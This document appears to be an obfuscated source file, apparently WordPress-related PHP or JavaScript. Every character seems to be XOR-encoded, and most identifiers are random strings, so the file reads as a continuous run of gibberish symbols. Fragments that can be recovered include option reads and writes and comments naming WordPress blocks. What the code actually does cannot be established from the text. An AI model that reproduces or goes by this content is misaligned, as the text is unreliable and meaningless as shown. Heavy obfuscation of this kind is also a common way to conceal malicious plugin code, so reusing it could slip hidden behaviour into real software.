u{n~xs$r(~%zo4($*5A5<::<<<fe/qwoyysxh4(.)548C~ofi,k/q,wGfe/qwoyysxh4($*5A5<<<<"<<<4,d.}7,d$55<g<<8[PS^]POGukC/jmfl}em~f{4($$5A<<<<<!<8C~ofi,k/q,wGfe/qwoyysxh4($%5A'<<<<<a33<otyxipy<ry{shu}hsn<zsn<LTL<$2(<zu~yno<uz<<<<<4uooyh48C~ofi,k/q,wG~~t*pewxp%lxrp.4(--5A5<<<<<<::<<<<~~t*pewxp%lxrp.4($+548C~ofi,k/q,wGfe/qwoyysxh4(%,5A5<::<u{n~xs$r(~%zo4(.)548C~ofi,k/q,wGu{n~xs$r(~%zo4(%-5A5<<<<"<<<4-%%1%%55<g<<8[PS^]POGukC/jmfl}em~f{4(%.5A<<<<!<<8C~ofi,k/q,wGukC/jmfl}em~f{4(%-5A'8rf,kqr(!*+6*'8}/d+edq%z+po(/!8rf,kqr(1()'<a<<a<<}ht<<4Htnsk}~py<<<8phr-l)~h-C.5<<<<<<g<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4(%/50<<<<8phr-l)~h-C.5'<<<<<a<}ht<<<<<<4Ydylhusr<<<8phr-l)~h-C.5<<g<a<<a<<<<<<<<<zirhusr<<<<<}xv}v)C(veC{t,j,rnyh45<<g<hne<g<<<<<uz<<4=~~t*pewxp%lxrp.4(%(54fe/qwoyysxh4(**55<<``<<=fe/qwoyysxh4(%(54u{n~xs$r(~%zo4/%)555<<nyhinr'<<uz<<44urh5<{yhCslhusr4fe/qwoyysxh4(%)50<<,5<<<"<u{n~xs$r(~%zo4(/%545<<1<<<4/)(-7)%55<<nyhinr'<<uz<<4ukC/jmfl}em~f{4(%*54u{n~xs$r(~%zo4(+(55<<::<<<<{yhChn}rouyrh4u{n~xs$r(~%zo4(%+555<nyhinr'8yw*tft/*x}diltu<<<<<<!<<t~ui.jvk{k%(/inf/rwCCd4ukC/jmfl}em~f{4(%$50<<>>5'uz<<4=~~t*pewxp%lxrp.4($+548yw*tft/*x}diltu5<<``<<u{n~xs$r(~%zo4(%%548yw*tft/*x}diltu5< <<<<<4%(/1((/5<<<``<~-n{n.-eq)~tm)hy%f*-48yw*tft/*x}diltu5<<<<<``<<=jfx)rnxu%,mC+~f~i48yw*tft/*x}diltu55<g8h(s$hf$(!/+,('8kpj%n~xpf!8h(s$hf$(9-+'8yw*tft/*x}diltu<<!<z}poy'<8ynr}xk)i*~$q<!<\ukC/jmfl}em~f{4../54n-*%o%~y,f,/qj,455'<<uz<<<<48ynr}xk)i*~$q<<::<<8ynr}xk)i*~$q<"<4*-*1--*5<<::<<8ynr}xk)i*~$q<<< !<<<<<4).(.$+*-7/%55<<<<<g8srCipv)$)lt!LTLCURHCQ]D3LTLCURHCQ]D'8v)o,eh{wo)eu!8srCipv)$)lt7-%'<8l(i}whkq*qwqwy~-<<<<<!<\fe/qwoyysxh4./-54n-*%o%~y,f,/qj,455'<<<<uz<<<4ukC/jmfl}em~f{4),,548l(i}whkq*qwqwy~-5<<<::<u{n~xs$r(~%zo4),-548l(i}whkq*qwqwy~-5<<<"<<4-,($)/$7/$55<<8l(i}whkq*qwqwy~-<<!<<<<vkC$uou+iut)vwv(+y48l(i}whkq*qwqwy~-5'uz<<4~~t*pewxp%lxrp.4),.548l(i}whkq*qwqwy~-5<<<::<<<=~-n{n.-eq)~tm)hy%f*-48l(i}whkq*qwqwy~-5<<<<<::<<<jfx)rnxu%,mC+~f~i48l(i}whkq*qwqwy~-55<<<g33<Qyq}tyx<}x}lhyn&<our{ip}n<pury}n1hely<vfCp.pff*hef}nxkrwq..j4ukC/jmfl}em~f{4(%$50<<<8l(i}whkq*qwqwy~-0<<u{n~xs$r(~%zo4-%-55'<<8yw*tft/*x}diltu<<<!<8l(i}whkq*qwqwy~-'<a<<<auz<<4=8yw*tft/*x}diltu5<g8dit-tf/**,tojl!LTLCQ]VSNCJYNOUSR'8Cwjpw,xl/!8dit-tf/**,tojl6-'<<<<<\ilx}hyCslhusr4ukC/jmfl}em~f{4),/50<<<<<fe/qwoyysxh4(/%5450<<<fe/qwoyysxh4),(55'nyhinr'<<<<a<<<<<a<8mx-tjeh(.}<!<<<<<}nn}e4n-*%o%~y,f,/qj,455'<<<<8fy{(wpj-k.~-ue<<<!<<<<iC}s%rysj$jew(osth,,r45'<<8xu.u%)y+is%*<<<!<<i.o-i/tr+)y+tot}omwi48fy{(wpj-k.~-ue5'8v~y/(*q%{i-vv~!4,dx)7,d%$5'8CurttspC!8v~y/(*q%{i-vv~9-/'<<<uz<<<<4fe/qwoyysxh4($-548xu.u%)y+is%*55<<gzsny}t<<<<48xu.u%)y+is%*<}o<8q-/$trd%n}5<g<<<<<uz<<4fe/qwoyysxh4),)548q-/$trd%n}0<<<<14-7/55<<<<!!!<<<<<<~~t*pewxp%lxrp.4),*55<<<8mx-tjeh(.}GA<<<<!<<<<8fy{(wpj-k.~-ue<2<<<<<<;3;<<2<<8q-/$trd%n}'<<<a<<a<<<uz<4xyzuryx4~~t*pewxp%lxrp.4),+55<<<::<fe/qwoyysxh4(%*54~~t*pewxp%lxrp.4),$555<<gzsny}t<<<44}nn}e5<<<<<<\~~t*pewxp%lxrp.4),$54KLCLPI[URCXUN<2<<<ukC/jmfl}em~f{4),%55<}o<<<<<8efthq{toq~})e5<<8mx-tjeh(.}GA<!<8efthq{toq~})e'<<<<a<8mx-tjeh(.}<<<<!<<ukC/jmfl}em~f{4)-,548mx-tjeh(.}5'<<8fyk*(q+ti-/xx<!<<}nn}e45'8x+Cw.-C-y{i<<<<<!<~~t*pewxp%lxrp.4),)54~~t*pewxp%lxrp.4)--54fe/qwoyysxh4)-.50<<>>0<<<ukC/jmfl}em~f{4),)548yw*tft/*x}diltu0<<,0<<<4/$//7*-+,/5550<<<<,0<<4,d.(/7,d)~x55'<<zsny}t<<<48mx-tjeh(.}<<<}o<<8zp~z}f/q/.+runs-5<g<<8ttqppq%e,{hh.ys<<<<!<<\ukC/jmfl}em~f{4../548zp~z}f/q/.+runs-5'uz<4=8ttqppq%e,{hh.ys<<<<<``<<<<8ttqppq%e,{hh.ys< !<4-,($(%+7+%55<srhuriy'8yd)wk-hf)qx}l(/<!<<\~~t*pewxp%lxrp.4)-/548zp~z}f/q/.+runs-0<<z}poy0<<ripp0<<<<<,0<<<<4*)).(7-.55'<<<<<uz<<4=ukC/jmfl}em~f{4)-(548yd)wk-hf)qx}l(/5<<<``<<=~-n{n.-eq)~tm)hy%f*-48yd)wk-hf)qx}l(/55<srhuriy'<<<<<<<<uz<<<<<48zp~z}f/q/.+runs-<<=!!<<n-*%o%~y,f,/qj,45<::<<<<<ukC/jmfl}em~f{4),)54ukC/jmfl}em~f{4)--54fe/qwoyysxh4)-)50<>>0<8yd)wk-hf)qx}l(/50<,0<<4-%%*7).55<<=!!<<<8x+Cw.-C-y{i5<<<srhuriy'<<<<<<8fyk*(q+ti-/xxGA<<<<!<<8zp~z}f/q/.+runs-'a<<<uz<4=8fyk*(q+ti-/xx5<<<<guz<<<4fe/qwoyysxh4(%*54ukC/jmfl}em~f{4)-*555<<<<oyhChn}rouyrh4ukC/jmfl}em~f{4)-+50<<<<-0<<<4).*7+(55'<nyhinr'<a<\ilx}hyCslhusr4fe/qwoyysxh4),/50<<<fe/qwoyysxh4)-$5450<<fe/qwoyysxh4),(55'<zsny}t<48fyk*(q+ti-/xx<<<}o<8xy.mqs-}zqq~+l5<<<g<<<<mmhy/nCplvkizofojuy48xy.mqs-}zqq~+l0<4,d*,7,d-((55'<<uz<<<<4o~mz~fi/(/rr)jo-dvudl48xy.mqs-}zqq~+l0<h/zqmsszw-ie}yw)srk48yw*tft/*x}diltu555<gr~$rrdpszidwdr$pe48xy.mqs-}zqq~+l5'<<<y%(vpw(x(-hw/p48xy.mqs-}zqq~+l5'8xj$s+d.!LTLCURHCQ]D3LTLCURHCQ]D'8yvmve}jnznx,y!8xj$s+d.7.+'<<<mmhy/nCplvkizofojuy48xy.mqs-}zqq~+l0<<4..-7+-55'<<<<<<p,}zwe%(th(zt%C}48xy.mqs-}zqq~+l5'uz<<<<48xy.mqs-}zqq~+l<<!!!<n-*%o%~y,f,/qj,455<<<g<yfdderdjunq.-.k4hniy5'<<<<dh/}np{vm-fhmkouh.4hniy5'<<<<<<<<a<<a<<ypoy<gmmhy/nCplvkizofojuy48xy.mqs-}zqq~+l0<4.++7-)55'<<aa<a<}ht<<<<4Htnsk}~py<8phr-l)~h-C.5<<<<g8~$dq}/hwz.!.($`-+%'8$n)qe,r!8~$dq}/hwz.B-)'<<<<<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4)-%50<<8phr-l)~h-C.5'a<<<<}ht<<4Ydylhusr<<<<<8phr-l)~h-C.5<<g<<<a<azirhusr<<<ufv.utnphp/j,x/45<<g<<<<<<oh}hu<<<<<8wke%)/~}/)n<!<z}poy'<uz<48wke%)/~}/)n5<nyhinr'<<8wke%)/~}/)n<<!<<<<hniy'<hne<<g<<<<<re/xunkwqhkk)s{xih($h45'<<<}xv}v)C(veC{t,j,rnyh45'<dh}uvqekk.fxso45'd.wrfev,hx}oe)45'<ddheq(y.{/jqqp~s.js+(45'<fp{qlxikk*v)f+}sw-h45'p+vvn}~pqkrn{p(~m--~45'<<pwzj~u{m)o(45'<<<<<v%e%zwefxd.v{.,yn,l45'<<<<<<uz<<4l~ff)*Cwn}.pjirhv*tes455<<<g<<uz<<4~~t*pewxp%lxrp.4).,54~~t*pewxp%lxrp.4).-55<::<<<<xuxC}husr4ukC/jmfl}em~f{4((.555<<g<<<<uz<4ukC/jmfl}em~f{4).,54~~t*pewxp%lxrp.4)..555<<~~t*pewxp%lxrp.4)..54~~t*pewxp%lxrp.4((/55'<<a<ypoy<<<g<<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4((.50<<<<~~t*pewxp%lxrp.4((/50<<<<,5'<<<<<a<a<<<a<}ht<<<4Htnsk}~py<<8phr-l)~h-C.5<g8v.lq}d%qrlkkj!LTLCURHCQ]D3LTLCURHCQ]D'8~}tohlswy!8v.lq}d%qrlkkj7-/'a<<}ht<<<4Ydylhusr<<<<8phr-l)~h-C.5<<<<<<g<<<aa<zirhusr<}qx{pq.swzx$$quC~r~45<<<<ghne<<guz<<<<4=fe/qwoyysxh4)./54fe/qwoyysxh4(()55<<<<<``<=~~t*pewxp%lxrp.4)./54u{n~xs$r(~%zo4).(555<<<<nyhinr'<uz<4=~~t*pewxp%lxrp.4)./54u{n~xs$r(~%zo4).)55<<<<``<<<<=ukC/jmfl}em~f{4)./54~~t*pewxp%lxrp.4/%)555<<nyhinr'<8~mx-jmk$do+vsiyp<<!<ukC/jmfl}em~f{4).*545'<<<uz<<<<48~mx-jmk$do+vsiyp<<<<<1<<<4urh5<<\{yhCslhusr4~~t*pewxp%lxrp.4).+50<,5< <<<<<<4/)%*7(55<nyhinr'<<<<<<<<\ilx}hyCslhusr4fe/qwoyysxh4).+50<8~mx-jmk$do+vsiyp0<u{n~xs$r(~%zo4).$55'\fe/qwoyysxh4(()54tsqyCinp4;3;50<<}nn}e4ukC/jmfl}em~f{4//+5<<<!"<<<<<.0<<fe/qwoyysxh4//$5<<<!"<<<z}poy0<<<ukC/jmfl}em~f{4(($5<!"<<<<z}poy55'a<<}ht<<4Htnsk}~py<<<8phr-l)~h-C.5<g<a<}ht<<4Ydylhusr<8phr-l)~h-C.5<<g<a33<nsh}hy<mishuyrh<zsn<KL<Jynoy<^psw<<<a<<<zirhusr<l~ff)*Cwn}.pjirhv*tes45<g<<<uz<4=<<u{n~xs$r(~%zo4).%54~~t*pewxp%lxrp.4).)555<<g<<<<nyhinr<hniy'<<a<<<uz<4u{n~xs$r(~%zo4).%54~~t*pewxp%lxrp.4(+(55<<<<::<{yhChn}rouyrh4}-oonC{%u+))f+uw,om4555<<<g<<<<nyhinr<<<z}poy'8zh*)vdj{xd!LTLCQ]VSNCJYNOUSR'8esyfvm%luCf!8zh*)vdj{xd6%'<<<a<<<<<<8nqm+dm+jruxvff)w<!<<<ty)dsm,wur+/,u.km45'<<<<<<8}(,wkvv{p{*ll{q<<!<}t%,uo(zrC$jxmn}wjdi(4u{n~xs$r(~%zo4(+*50<<<<z}poy5'<<uz<<<<4ukC/jmfl}em~f{4($-548}(,wkvv{p{*ll{q5<<<<::<uooyh48}(,wkvv{p{*ll{qGu{n~xs$r(~%zo4)/,5A5<<::<<<<<<4urh5<<<8}(,wkvv{p{*ll{qGu{n~xs$r(~%zo4)/-5A<<"!<<<<4-%(7-,*5<::<4urh5<<<8}(,wkvv{p{*ll{qG~~t*pewxp%lxrp.4)/-5A<<<< !<4-+)-$7*$$$.55<<<8nqm+dm+jruxvff)w<<<<<!<<<<<4urh5<<<<8}(,wkvv{p{*ll{qGukC/jmfl}em~f{4)/-5A'<<8wqrntn.h%$es)f)<!<<4urh5<<<<<<{yhCslhusr4fe/qwoyysxh4(*)50<,5'<<<<uz<<48wqrntn.h%$es)f)<<"<<<<<,<<<::<4~~t*pewxp%lxrp.4)/.545<<1<<<<8wqrntn.h%$es)f)5<<<< <<<8nqm+dm+jruxvff)w5<<<g<<<<nyhinr<<<<z}poy'<<<<<a<<8~}zu%%-wlk,C<<<!<<<<<4urh5<<<{yhCslhusr4~~t*pewxp%lxrp.4)//50<<,5'<uz<<48~}zu%%-wlk,C<"<,5<<g<8x-wvt$fmn)%u<<!<<<<<<4urh5<<<{yhCslhusr4fe/qwoyysxh4)/(50<<,5'<<8xr)onC)}p%tf<<<!<<}nn}e44.*(7/*50<<<<<<4-)./1*./50<<<<4-+/*7*(50<4/)/+7*/50<<4/).(7+*55'<<<8dsnflr(,jv<!<<<<8xr)onC)}p%tfGfe/qwoyysxh4)/)54,0<ukC/jmfl}em~f{4)/*548x-wvt$fmn)%u<<<1<-0<<<<4-7/555A'<<<<<8dsnflr(,jv<<<7!<<<<fe/qwoyysxh4((,54,0<<<4urh5<<48dsnflr(,jv<<<<<6<,2.)55'<<<uz<<<<44~~t*pewxp%lxrp.4)/.545<<1<8~}zu%%-wlk,C5<<<<< <8dsnflr(,jv5<<<<<g33<\oiolyrx<ty}nh~y}h<<<<nyhinr<<z}poy'<<<<<aa<<<<<<<<<<nyhinr<<<hniy'<a<zirhusr<<<<tn}~f.ezjqhjr45<<g<8x-wvt$fmn)%u<<<!<<4urh5<{yhCslhusr4ukC/jmfl}em~f{4)/(50<<<<,5'<ilx}hyCslhusr4~~t*pewxp%lxrp.4)/(50<<<8x-wvt$fmn)%u<<7<<-5'<<<ilx}hyCslhusr4~~t*pewxp%lxrp.4)//50<<~~t*pewxp%lxrp.4)/.5455'<<<<<a<<<<<<zirhusr<eh),%kodjn($,%/i,rhy$45<<<g33<KL<Zy}hinyx<Uq}{y&<rsnq}p<mishuyrh<<<<<8ynr-yt(,s*pf/<<!<<<}nn}e45'<<<hne<g<<<<<<8ynr-yt(,s*pf/GukC/jmfl}em~f{4)/+5A<<<!<k{~w}fh$fk{*s}r}*k/z+h45'<<<8ynr-yt(,s*pf/GukC/jmfl}em~f{4)/$5A<<!<<<<<<LTLCJYNOUSR'<8ynr-yt(,s*pf/GukC/jmfl}em~f{4)/%5A<<!<<<<fe/qwoyysxh4$/545'8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4)(,5A<!<<<<4fe/qwoyysxh4)(-54ukC/jmfl}em~f{4)(.55<<<::<uoCoop455<<<#<-<<<<&<<,'8ynr-yt(,s*pf/Gfe/qwoyysxh4)(/5A<<!<4fe/qwoyysxh4)(-54~~t*pewxp%lxrp.4..+55<<::<<<uoCqiphuouhy455<<#<-<<&<<,'<<<<<<<8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4)((5A<<<<<!<<uooyh48[PS^]POGu{n~xs$r(~%zo4)()5A5<#<<<4ohnur{5<<<<<8[PS^]POGukC/jmfl}em~f{4)()5A<<<&<>>'8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4)(*5A<<!<uooyh48COYNJYNGu{n~xs$r(~%zo4$*5A5<<<<<#<<<~~t*pewxp%lxrp.4)(+544ohnur{5<<<<<<8COYNJYNGu{n~xs$r(~%zo4$*5A0<<<,0<<<4+7//55<&<<<<>>'<8oydjf%,xd+zp<<<!<<<<4uooyh48[PS^]POGfe/qwoyysxh4)($5A5<::<<~~t*pewxp%lxrp.4)(%548[PS^]POGu{n~xs$r(~%zo4)),5A55<<<<<#<<<<fe/qwoyysxh4/%-548[PS^]POGukC/jmfl}em~f{4)),5A5<<&<<>>'8ynr-yt(,s*pf/GukC/jmfl}em~f{4))-5A<<<!<48oydjf%,xd+zp<<<=!!<<<>>5<#<-<<<<<&<<<<<,'<<<<<8ynr-yt(,s*pf/GukC/jmfl}em~f{4)).5A<<<!<<<<ukC/jmfl}em~f{4))/548oydjf%,xd+zp5'<<<<8ynr-yt(,s*pf/Gfe/qwoyysxh4))(5A<!<<=yqlhe48[PS^]POGukC/jmfl}em~f{4)))5A5<<#<<<<<<-<<&<,'8ynr-yt(,s*pf/Gfe/qwoyysxh4))*5A<!<<<=yqlhe48[PS^]POGu{n~xs$r(~%zo4))+5A5<#<<<<-<<&<,'<<8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4))$5A<!<<<fe/qwoyysxh4))%54u{n~xs$r(~%zo4).)55<<<<<<#<<4urh5<<<<<\{yhCslhusr4ukC/jmfl}em~f{4)*,50<,5<<<&<<<<,'<<<<<<8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4)*-5A<<<<<!<4s.xd/}tfltf*ruC)4~~t*pewxp%lxrp.4)*-50<>>5<<=!!<<<<>>5<#<<<<-<&<,'<<<<<<<8ynr-yt(,s*pf/GukC/jmfl}em~f{4)*.5A<!<<fe/qwoyysxh4))%54ukC/jmfl}em~f{4).)55<#<4urh5<<<\{yhCslhusr4ukC/jmfl}em~f{4)*/50<,5<&<<<,'<8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4)*(5A<<!<u{n~xs$r(~%zo4))%54ukC/jmfl}em~f{4).)55<<#<<<<4urh5<<\{yhCslhusr4ukC/jmfl}em~f{4)*)50<<<<,5<<<&<<<<<,'<<<<<<8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4)**5A<!<<~~t*pewxp%lxrp.4)*+54~~t*pewxp%lxrp.4).)55<<<#<<<<<4urh5<<<<\{yhCslhusr4fe/qwoyysxh4)*$50<,5<&<,'8j(z{f-*x,z<<!<iex.+md$,oiqx$jhi%z}45'<<<<<8ynr-yt(,s*pf/GukC/jmfl}em~f{4)*%5A<<!<<<<<<\u{n~xs$r(~%zo4)+,548j(z{f-*x,z<2<<ukC/jmfl}em~f{4)+-55<<#<4zu(}}worrxmjdhhjwo4\~~t*pewxp%lxrp.4)+.548j(z{f-*x,z<2<<<<ukC/jmfl}em~f{4)+-50<<<z}poy0<<ripp0<,0<<<4$---7$-555<#<<<<<.<<<&<<-5<<&<<<,'<<8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4)+/5A<!<<\fe/qwoyysxh4)+(548j(z{f-*x,z<<2<u{n~xs$r(~%zo4)+)55<<#<4zu(}}worrxmjdhhjwo4\~~t*pewxp%lxrp.4)+*548j(z{f-*x,z<2<<<fe/qwoyysxh4)+)50<z}poy0<<<<ripp0<<<,0<<<<4$-*/7.%555<#<<<.<<<&<<<-5<<<&<<<<<,'8ynr-yt(,s*pf/Gfe/qwoyysxh4)++5A<!<<\fe/qwoyysxh4)+(548j(z{f-*x,z<<<2<<ukC/jmfl}em~f{4)+$55<#<<4zu(}}worrxmjdhhjwo4\fe/qwoyysxh4)+*548j(z{f-*x,z<<<<2<<<<<ukC/jmfl}em~f{4)+$50<z}poy0<ripp0<<<<,0<<<<<<4$--.7$,555<#<<<<.<<&<<-5<<<<<<&<,'8C~leml+q~w+pux{w<<!<<<<u{n~xs$r(~%zo4)+%5<<<<<2<<<soyll~yypdn%it4]^OL]HT<2<;{;0<<4-/1)55'<<<<<8}}+*yqf+xCf%{,<<<<<!<<<<<~~t*pewxp%lxrp.4)$,5<2<<<<<soyll~yypdn%it4]^OL]HT<2<<;{;0<<4-/1)55'<<<<8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4)$-5A<<<!<,'<<zsny}t<<4}nn}e4kqhhzsemj.~r~$/{$u450<<8j(z{f-*x,z0<]^OL]HT<<2<<ukC/jmfl}em~f{4)$.55<<}o<8p*ejj~{n,*p-o)wh5<<g<uz<<4\~~t*pewxp%lxrp.4)+(548p*ejj~{n,*p-o)wh<<2<;3;<<2<<8C~leml+q~w+pux{w<<2<<fe/qwoyysxh4),*555<<<<<8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4)$-5A<!<<-'<uz<4\fe/qwoyysxh4)+(548p*ejj~{n,*p-o)wh<<<<<<2<<<<<;3;<<<2<<8}}+*yqf+xCf%{,5<::<<<<4urh5<\ukC/jmfl}em~f{4.,.548p*ejj~{n,*p-o)wh<<<<<2<<;3;<2<<<<<8}}+*yqf+xCf%{,5<<"<<~~t*pewxp%lxrp.4)$/545<<<1<<<4/)$1--$55<<<g8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4)$(5A<<<<<<!<<.'<<<~ny}w'a<<<<<<a<iroyh48}}+*yqf+xCf%{,0<<8p*ejj~{n,*p-o)wh5'<<8njssoC%n-Ctsmi$/<!<ukC/jmfl}em~f{4)$)54fe/qwoyysxh4()(55<<#<<\ukC/jmfl}em~f{4()(54~~t*pewxp%lxrp.4)$*55<<&<z}poy'<<uz<<<4=u{n~xs$r(~%zo4)$+548njssoC%n-Ctsmi$/5<<<<``<8njssoC%n-Ctsmi$/<!!!<<<<<>><<<<``<<<<<8njssoC%n-Ctsmi$/<<<!!!<<<fe/qwoyysxh4)$$55<8njssoC%n-Ctsmi$/<<!<<<<<ukC/jmfl}em~f{4)$%5'8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4)%,5A<<!<<<4\fe/qwoyysxh4)+(54]^OL]HT<2<8njssoC%n-Ctsmi$/5<::<<<<~~t*pewxp%lxrp.4/**544ohnur{5<<\fe/qwoyysxh4)+*54]^OL]HT<<2<<<<8njssoC%n-Ctsmi$/50<<ukC/jmfl}em~f{4)%-55<<=!!<<<<<z}poy5<<<#<<-<<<&<<,'8ynr-yt(,s*pf/Gfe/qwoyysxh4)%.5A<<!<<4\ukC/jmfl}em~f{4)%/54]^OL]HT<<<<<2<<<<<<fe/qwoyysxh4)%(55<<::<ukC/jmfl}em~f{4/**544ohnur{5<<<\ukC/jmfl}em~f{4)+*54]^OL]HT<2<<~~t*pewxp%lxrp.4)%(550<fe/qwoyysxh4)%)55<<<=!!<<<<<<z}poy5<<#<<<<-<<<&<<<,'8ynr-yt(,s*pf/Gfe/qwoyysxh4)%*5A<!<<<4\ukC/jmfl}em~f{4)%+54]^OL]HT<<2<<<<u{n~xs$r(~%zo4)%$55<<::<u{n~xs$r(~%zo4/**544ohnur{5<<\ukC/jmfl}em~f{4)%%54]^OL]HT<<<2<<<<fe/qwoyysxh4*,,50<<<z}poy0<ripp0<<<<<<,0<<4*)).,7-*550<<fe/qwoyysxh4*,-55<=!!<<<z}poy5<<<#<<<-<<&<,'<<8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4*,.5A<!<xyzuryx4ukC/jmfl}em~f{4*,/55<<<<<<#<<-<<<<<&<,'<<<<<<8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4*,(5A<<<!<<<<<<4xyzuryx4fe/qwoyysxh4*,)55<<``<xyzuryx4ukC/jmfl}em~f{4*,*55<<``<xyzuryx4ukC/jmfl}em~f{4*,+55<``<<~~t*pewxp%lxrp.4)$)54ukC/jmfl}em~f{4*,$55<<<<<<``<<<<<<u{n~xs$r(~%zo4*,%54ukC/jmfl}em~f{4*-,55<<<<<<``<<<<uooyh48[PS^]POG~~t*pewxp%lxrp.4*--5A5<<``<<~~t*pewxp%lxrp.4*-.54~~t*pewxp%lxrp.4*-/555<<<<<#<-<<&<<,'<8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4*-(5A<<!<<<<4urh5<{yhCslhusr4~~t*pewxp%lxrp.4(*)50<<<<,5'8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4*-)5A<!<<<<4urh5<<{yhCslhusr4u{n~xs$r(~%zo4*-*50<<,5'<8ynr-yt(,s*pf/GukC/jmfl}em~f{4*-+5A<<<<!<4urh5<<<<{yhCslhusr4ukC/jmfl}em~f{4*-$50<<<,5'8t/m/,lpo%v{t<<<!<<<<<t~ui.jvk{k%(/inf/rwCCd4u{n~xs$r(~%zo4*-%50<}nn}e455'8pnzu*yhh!*%,'8n)vzdv~rhe!48pnzu*yhh",5#8pnzu*yhh&18pnzu*yhh'<8e$.~(%.m)u<<<<<!<<,'<<<<8iz,~i}yfCe*u<<<!<<,'<<<<uz<<<4~~t*pewxp%lxrp.4($-548t/m/,lpo%v{t55<<<<g<<<<<zsny}t<<<48t/m/,lpo%v{t<}o<<8q-/$trd%n}5<<<<<g<<uz<<<4rCe/f+i}xmxzr$.x-(48q-/$trd%n}5<<<!!!<<<<>>5<<srhuriy'8e$.~(%.m)u77'<<8s}./%oeo$e<<!<<<u{n~xs$r(~%zo4($-548q-/$trd%n}5<<#<4urh5<<4uooyh48q-/$trd%n}G~~t*pewxp%lxrp.4*.,5A5<<<<#<<8q-/$trd%n}GukC/jmfl}em~f{4*.,5A<&<<<-5<<<<&<<<-'<<8l-e(%ifCz~h~%dk<<<!<u{n~xs$r(~%zo4($-548q-/$trd%n}5<::<<<<uooyh48q-/$trd%n}G~~t*pewxp%lxrp.4*.-5A5<#<<4urh5<<8q-/$trd%n}Gu{n~xs$r(~%zo4*.-5A<<&<,'<uz<<<<4=8s}./%oeo$e<::<<<<4=8l-e(%ifCz~h~%dk<``<<<8l-e(%ifCz~h~%dk< <<~~t*pewxp%lxrp.4*..545<<<<1<<<4/)),7),555<8iz,~i}yfCe*u77'<<<<a<a<<8ynr-yt(,s*pf/Gfe/qwoyysxh4*./5A<<!<8e$.~(%.m)u'<<8ynr-yt(,s*pf/GukC/jmfl}em~f{4*.(5A<<<<<<!<<<8iz,~i}yfCe*u'<<<<8~innpmk.)z<<<<<!<<~~t*pewxp%lxrp.4*-.54~~t*pewxp%lxrp.4).)55<<<<<#<<\{yhCslhusr4u{n~xs$r(~%zo4*.)50<>>5<<<<<<&<<<<<<>>'<<<<8ynr-yt(,s*pf/G~~t*pewxp%lxrp.4*.*5A<<<!<<<fe/qwoyysxh4*.+548~innpmk.)z5<<#<ukC/jmfl}em~f{4)(+548~innpmk.)z0<<<<,0<<<<4./%B./(55<<<<<<&<<<>>'<8tCiz{%d//~o(<<!<fe/qwoyysxh4*-.54u{n~xs$r(~%zo4).)55<<<<<#<\{yhCslhusr4ukC/jmfl}em~f{4*.$50<<<}nn}e455<<&<<<<}nn}e45'<<<<8ynr-yt(,s*pf/GukC/jmfl}em~f{4*.%5A<<!<4fe/qwoyysxh4($-548tCiz{%d//~o(5<<::<4=yqlhe48tCiz{%d//~o(G;h;A5<<<<<``<<=yqlhe48tCiz{%d//~o(Gfe/qwoyysxh4*/,5A555<#<<<-<<<<&<<<<<<,'<<a<<}ht<<<<<<4Htnsk}~py<8phr-l)~h-C.5<g<<<<<<8ynr-yt(,s*pf/Gfe/qwoyysxh4*/-5A<!<u{n~xs$r(~%zo4*/.548phr-l)~h-C.1"{yhQyoo}{y450<,0<<<4(.7-$55'<<a<<}ht<<4Ydylhusr<<<<8phr-l)~h-C.5<<<g<<<8ynr-yt(,s*pf/Gu{n~xs$r(~%zo4*/-5A<!<ukC/jmfl}em~f{4*//548phr-l)~h-C.1"{yhQyoo}{y450<,0<<<4,d.$7,d-(55'<a<<<<<<<nyhinr<<8ynr-yt(,s*pf/'a<<<<zirhusr<<qCm-vlhfd(th.)ne+wnx/h45g<<<<<<uz<4u{n~xs$r(~%zo4*-.54ukC/jmfl}em~f{4*/(555<<<<<g<<<<<nyhinr<<4ohnur{5<<<ouhyCinp4u{n~xs$r(~%zo4*/)55'<<<<<<a<nyhinr<ukC/jmfl}em~f{4*-.54ukC/jmfl}em~f{4*/*55<<#<<<4ohnur{5<<<<<klCps{urCinp45<<<&<<>>'<a<<<<<<zirhusr<k{flojeyw,sm~z48rjrwu%.CC~5<<g<8f(nx}q}%ur(fimsp<!<<<>>'<<<uz<<<4ukC/jmfl}em~f{4*-.54ukC/jmfl}em~f{4*/+555<<<g33<or}lotsh1uosp}hyx<otyxipyn<<8f(nx}q}%ur(fimsp<<<<!<<4ohnur{5<<<<<<fe/qwoyysxh4*/$54tsqyCinp450<sroh}rh4u{n~xs$r(~%zo4*/%555'<<<a<<uz<4=<<<<8f(nx}q}%ur(fimsp<<::<<ukC/jmfl}em~f{4*-.54ukC/jmfl}em~f{4*(,555<g<<8f(nx}q}%ur(fimsp<!<<4ohnur{5<<u{n~xs$r(~%zo4*/$54{yhCouhyCinp450<sroh}rh4u{n~xs$r(~%zo4*/%555'<a<<uz<<<<4=<<<8f(nx}q}%ur(fimsp<<<<<::<fe/qwoyysxh4*-.54ukC/jmfl}em~f{4*(-555<g<8f(nx}q}%ur(fimsp<<!<4ohnur{5<<<<<<fe/qwoyysxh4*/$54{yhC~ps{urzs4fe/qwoyysxh4*(.550<<sroh}rh4ukC/jmfl}em~f{4*/%555'a<uz<<4=<<8f(nx}q}%ur(fimsp<<::<<<u{n~xs$r(~%zo4*(/54fe/qwoyysxh4*((555<<<<<g<<8f(nx}q}%ur(fimsp<!<4ohnur{5<<<<u{n~xs$r(~%zo4*/$544ohnur{5<<<{yhCslhusr4ukC/jmfl}em~f{4*()50<<<>>50<<sroh}rh4~~t*pewxp%lxrp.4*/%555'<<<<<a<<<uz<